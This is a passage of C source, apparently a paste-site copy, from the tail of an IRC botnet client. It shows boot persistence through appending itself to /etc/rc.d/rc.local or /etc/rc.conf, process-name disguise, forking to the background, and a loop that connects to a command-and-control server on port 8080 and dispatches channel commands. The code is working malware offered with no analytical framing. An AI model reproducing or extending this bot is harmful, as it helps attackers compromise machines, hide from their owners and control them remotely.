  1989. }
  1990. void _NICK(int sock, char *sender, char *str) {
  1991.     int i;
  1992.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1993.         sender[i]=0;
  1994.     if (!strcasecmp(sender,nick)) {
  1995.         if (*str == ':') str++;
  1996.         if (nick) free(nick);
  1997.         nick=strdup(str);
  1998.     }
  1999. }
  2000. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  2001.         { "352", _352 },
  2002.         { "376", _376 },
  2003.         { "433", _433 },
  2004.         { "422", _376 },
  2005.         { "PRIVMSG", _PRIVMSG },
  2006.         { "PING", _PING },
  2007.     { "NICK", _NICK },
  2008. { (char *)0, (void (*)(int,char *,char *))0 } };
  2009. void con() {
  2010.         struct sockaddr_in srv;
  2011.         unsigned long ipaddr,start;
  2012.         int flag;
  2013.         struct hostent *hp;
  2014. start:
  2015.     sock=-1;
  2016.     flag=1;
  2017.     if (changeservers == 0) server=servers[rand()%numservers];
  2018.     changeservers=0;
  2019.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  2020.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  2021.         if ((hp = gethostbyname(server)) == NULL) {
  2022.             server=NULL;
  2023.             close(sock);
  2024.             goto start;
  2025.         }
  2026.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  2027.     }
  2028.     else srv.sin_addr.s_addr=inet_addr(server);
  2029.         srv.sin_family = AF_INET;
  2030.         srv.sin_port = htons(8080);
  2031.     ioctl(sock,FIONBIO,&flag);
  2032.     start=time(NULL);
  2033.     while(time(NULL)-start < 10) {
  2034.         errno=0;
  2035.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  2036.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  2037.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  2038.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  2039.             return;
  2040.         }
  2041.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  2042.         sleep(1);
  2043.     }
  2044.     server=NULL;
  2045.     close(sock);
  2046.     goto start;
  2047. }
  2048. int main(int argc, char **argv) {
  2049.         int on,i;
  2050.         char cwd[256],*str;
  2051.         FILE *file;
  2052. #ifdef STARTUP
  2053.     str="/etc/rc.d/rc.local";
  2054.     file=fopen(str,"r");
  2055.     if (file == NULL) {
  2056.         str="/etc/rc.conf";
  2057.         file=fopen(str,"r");
  2058.     }
  2059.         if (file != NULL) {
  2060.                 char outfile[256], buf[1024];
  2061.                 int i=strlen(argv[0]), d=0;
  2062.                 getcwd(cwd,256);
  2063.                 if (strcmp(cwd,"/")) {
  2064.                         while(argv[0][i] != '/') i--;
  2065.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2066.                         while(!feof(file)) {
  2067.                                 fgets(buf,1024,file);
  2068.                                 if (!strcasecmp(buf,outfile)) d++;
  2069.                         }
  2070.                         if (d == 0) {
  2071.                                 FILE *out;
  2072.                                 fclose(file);
  2073.                                 out=fopen(str,"a");
  2074.                                 if (out != NULL) {
  2075.                                         fputs(outfile,out);
  2076.                                         fclose(out);
  2077.                                 }
  2078.                         }
  2079.                         else fclose(file);
  2080.                 }
  2081.                 else fclose(file);
  2082.         }
  2083. #endif
  2084.         if (fork()) exit(0);
  2085. #ifdef FAKENAME
  2086.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  2087.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  2088. #endif
  2089.         srand((time(NULL) ^ getpid()) + getppid());
  2090.         nick=makestring();
  2091.         ident=makestring();
  2092.         user=makestring();
  2093.         chan=CHAN;
  2094.     key=KEY;
  2095.     server=NULL;
  2096. sa:
  2097. #ifdef IDENT
  2098.         for (i=0;i<numpids;i++) {
  2099.                 if (pids[i] != 0 && pids[i] != getpid()) {
  2100.                         kill(pids[i],9);
  2101.             waitpid(pids[i],NULL,WNOHANG);
  2102.                 }
  2103.         }
  2104.     pids=NULL;
  2105.     numpids=0;
  2106.     identd();
  2107. #endif
  2108.     con();
  2109.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  2110.         while(1) {
  2111.                 unsigned long i;
  2112.                 fd_set n;
  2113.                 struct timeval tv;
  2114.                 FD_ZERO(&n);
  2115.                 FD_SET(sock,&n);
  2116.                 tv.tv_sec=60*20;
  2117.                 tv.tv_usec=0;
  2118.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  2119.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  2120.                         unsigned int *newpids,on;
  2121.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  2122.             pids[on-1]=0;
  2123.                         numpids--;
  2124.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  2125.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  2126.                         free(pids);
  2127.                         pids=newpids;
  2128.                 }
  2129.                 if (FD_ISSET(sock,&n)) {
  2130.                         char buf[4096], *str;
  2131.                         int i;
  2132.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  2133.                         buf[i]=0;
  2134.                         str=strtok(buf,"\n");
  2135.                         while(str && *str) {
  2136.                                 char name[1024], sender[1024];
  2137.                                 filter(str);
  2138.                                 if (*str == ':') {
  2139.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2140.                                         str[i]=0;
  2141.                                         strcpy(sender,str+1);
  2142.                                         strcpy(str,str+i+1);
  2143.                                 }
  2144.                                 else strcpy(sender,"*");
  2145.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2146.                                 str[i]=0;
  2147.                                 strcpy(name,str);
  2148.                                 strcpy(str,str+i+1);
  2149.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  2150.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  2151.                                 str=strtok((char*)NULL,"\n");
  2152.                         }
  2153.                 }
  2154.         }
  2155.         return 0;
  2156. }
Advertisement
Add Comment
Please, Sign In to add comment